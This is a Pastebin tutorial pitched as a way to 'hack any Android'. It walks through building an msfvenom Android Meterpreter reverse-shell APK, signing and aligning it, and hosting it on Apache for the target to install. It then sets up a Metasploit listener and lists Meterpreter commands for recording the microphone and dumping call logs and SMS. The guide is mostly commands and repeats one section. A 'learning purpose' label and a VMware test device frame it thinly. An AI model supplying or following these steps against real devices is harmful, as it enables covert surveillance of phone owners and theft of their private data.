Advertisement
v1ral_ITS

Simply For learning purpose only way to hack any Android

Mar 17th, 2025
118
1
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.78 KB | None | 1 0
  1. 1. Creating a malicious APK (Android Package Kit file format):
  2.  
  3. In Kali, open the terminal and execute the following command to generate the malicious APK:
  4.  
  5. sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=<your-ip-address, thats the ip address of the Kali Linux> LPORT=4444 R > android.apk
  6.  
  7. Below is the break down of what the command means
  8.  
  9. Note: Replace <your-ip-address> with Kali IP address.
  10.  
  11. An APK file (Android Package Kit file format) is the file format for applications used on the Android
  12.  
  13. msfvenom: Metasploit Framework tool for generating payloads.
  14. -p android/meterpreter/reverse_tcp: Specifies Android Meterpreter reverse TCP payload.
  15. LHOST=<your-ip-address>: Sets the attacker’s IP address for the connection.
  16. LPORT=4444: Sets the port for the connection.
  17. R: Specifies raw output format.
  18. > android.apk: Redirects the output to an APK file named “android.apk”.
  19.  
  20. Signing the Certificate
  21.  
  22. Generate a Keystore for the android.apk file:
  23.  
  24. sudo keytool -genkey -V -keystore key.keystore -alias hacked -keyalg RSA -keysize 2048 -validity 10000
  25.  
  26. keytool: Java tool for managing cryptographic keys and certificates.
  27. -genkey: Generates a new key pair and certificate.
  28. -V: Enables verbose output for more detailed information.
  29. -keystore key.keystore: Specifies the filename of the keystore file to be created (key.keystore).
  30. -alias hacked: Sets an alias (identifier) for the key entry in the keystore (hacked).
  31. -keyalg RSA: Specifies the algorithm to generate the key pair (RSA).
  32. -keysize 2048: Sets the size of the key (2048 bits).
  33. validity 10000: Sets the validity period of the key pair in days (10000 days).
  34. Install Jarsigner tool:
  35.  
  36. sudo apt-get install openjdk-11-jdk-headless
  37.  
  38. Jarsigner is a command-line tool used to digitally sign Java Archive (JAR) files, including APK files in the case of Android applications. Signing the APK file is crucial as it ensures the integrity and authenticity of the application. Android devices require properly signed certificates for app installation, and only signed APK files can be installed.
  39.  
  40. Sign the APK file using Jarsigner:
  41.  
  42. sudo jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore android.apk hacked
  43.  
  44. Explanation of each part of the command:
  45.  
  46. -verbose: Prints detailed information about the signing process.
  47. -sigalg SHA1withRSA: Specifies the signature algorithm. SHA1withRSA is commonly used.
  48. -digestalg SHA1: Specifies the digest algorithm. SHA1 is commonly used.
  49. -keystore key.keystore: Specifies the keystore file containing the private key used for signing. Replace key.keystore with the actual filename of your keystore.
  50. android.apk: Specifies the APK file you want to sign.
  51. hacked: Specifies the alias of the key within the keystore.
  52. Make sure to replace key.keystore with the actual filename of your keystore, and ensure that the keystore file is located in the correct directory. Additionally, replace android.apk with the actual filename of the APK you want to sign.
  53.  
  54. After running this command, you may be prompted to enter the keystore password. If successful, the APK will be signed with the specified keystore.
  55.  
  56. Verify if the application is signed:
  57.  
  58. sudo jarsigner -verify -verbose -certs android.apk
  59.  
  60. Explanation of each part of the command:
  61.  
  62. -verify: Instructs jarsigner to verify the signature of the JAR file.
  63. -verbose: Prints detailed information about the verification process.
  64. -certs: Prints the certificates associated with the APK during verification.
  65. -keystore key.keystore: Specifies the keystore file containing the public key used for verification. Replace key.keystore with the actual filename of your keystore.
  66. android.apk: Specifies the APK file you want to verify.
  67. Make sure to replace key.keystore with the actual filename of your keystore, and ensure that the keystore file is located in the correct directory. After running this command, you should see information about the verification process, including details about the certificates associated with the APK.
  68.  
  69. If the verification is successful, it indicates that the APK has been signed with the private key corresponding to the public key stored in the specified keystore.
  70.  
  71. Install Zipalign tool:
  72.  
  73. sudo apt-get install zipalign
  74.  
  75. Zipalign is a tool used to optimize the alignment of resources in APK files. It ensures that all uncompressed data starts with a particular alignment relative to the start of the file. This optimization process improves the performance of the APK on Android devices by reducing memory usage.
  76.  
  77. Install Zipalign tool:
  78.  
  79. sudo apt-get install zipalign
  80.  
  81. Zipalign is a tool used to optimize the alignment of resources in APK files. It ensures that all uncompressed data starts with a particular alignment relative to the start of the file. This optimization process improves the performance of the APK on Android devices by reducing memory usage.
  82.  
  83. Convert the .apk file with zipalign:
  84. sudo zipalign -v 4 android.apk singed_jar.apk
  85.  
  86. zipalign: Android tool for optimizing APK files.
  87. -v: Enables verbose output for more detailed information.
  88. 4: Specifies the alignment requirement (4-byte alignment).
  89. android.apk: Specifies the input APK file to be aligned.
  90. singed_jar.apk: Specifies the output aligned APK file.
  91.  
  92. sudo zipalign -v 4 android.apk singed_jar.apk command threw an error below
  93. zipalign: symbol lookup error: zipalign: undefined symbol: _ZN11zip_archive6WriterD2Ev
  94.  
  95. The error you’re encountering with zipalign suggests a symbol lookup issue. This issue might be caused by a mismatch between the version of the zipalign tool and the libraries it depends on.
  96.  
  97. We need to uninstall the zipalign so we can reinstall the right version using the command sudo apt — purge remove zipalign
  98.  
  99. Then visit this link. I picked the Zipalign under Debian 10 because it matches my kali Linux
  100.  
  101. I clicked on the first zipalign link under Debian 10, then you can scroll down and go to downloads and copy the link in the download session
  102.  
  103. Copy the link and access it on kali Linux
  104.  
  105. After the Zipalign package is downloaded, ensure it is in the current directory, and then execute the following command to initiate the Zipalign package installation process.
  106.  
  107. sudo apt install ./zipalign_*_amd64.deb
  108.  
  109. and verify with the command zipalign
  110.  
  111. Convert the .apk file with zipalign:
  112. sudo zipalign -v 4 android.apk singed_jar.apk
  113.  
  114. zipalign: Android tool for optimizing APK files.
  115. -v: Enables verbose output for more detailed information.
  116. 4: Specifies the alignment requirement (4-byte alignment).
  117. android.apk: Specifies the input APK file to be aligned.
  118. singed_jar.apk: Specifies the output aligned APK file.
  119.  
  120. We are going to start the apache server on kali linux and attach the vulnerability to it so that it can be downloaded in the the android device through its web browser
  121.  
  122. Use the command service apache2 start to start the web server the use service apache2 status to check and confirm its running
  123.  
  124. This command sudo cp signed_jar.apk /var/www/html to copy the signed_jar.apk file to the /var/www/html directory. Ensure that the file signed_jar.apk exists in the current directory or provide the correct path to the file if it’s located elsewhere. You can move into the directory to check if the file vulnerability was successfully moved to that directory
  125.  
  126. Download Mozila Firefox on the Android device on the VMware
  127. On the browser o
  128.  
  129. On the browser of the firefox type the ip address of the kali linux and the name of the vulnerable file like this 192.168.xxx.xxx/singed_jar.apk then click allow on the pop up
  130.  
  131. Click download to download the vulnerability
  132.  
  133. Click Next
  134.  
  135. Click Allow
  136.  
  137. Click Done
  138.  
  139. Setting up listener on Metasploit on Kali Linux
  140. Open Metasploit console:
  141. sudo msfconsole
  142. Load multi-handler exploit:
  143. use exploit/multi/handler
  144. Set up the reverse payload:
  145. set payload android/meterpreter/reverse_tcp
  146. Set LHOST and LPORT:
  147. set LHOST <your-ip-address>
  148. set LPORT 4444
  149. Start the listener:
  150. run
  151.  
  152. Use the follow commands for meterpreter to get info
  153.  
  154. sysinfo: Display system information.
  155.  
  156. check_root: Check if the device is rooted.
  157.  
  158. record_mic: Record sounds on the victim’s end.
  159.  
  160. Using the command dump_calllog to retrieve the call log
  161. Using the command getuid to get the user id
  162.  
  163. Using the command ps to get running proccesses
  164. Using the command shell to get into the shell mode
  165.  
  166. Using the command dump_sms to get the sms sent by the android device
  167.  
  168. Using the command ifconfig to get network information
  169.  
  170. Interface 7 shows the ip address of the android devices
  171.  
  172. This is the end of the exploitation as i was able to get into the android through a vulnerability that was downloaded into the android device because of relaxed security rules. Through the vulnerability i was able to gather so much information from the android device like call log, running proccesses, network information, send sms, capture sms sent and many more.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement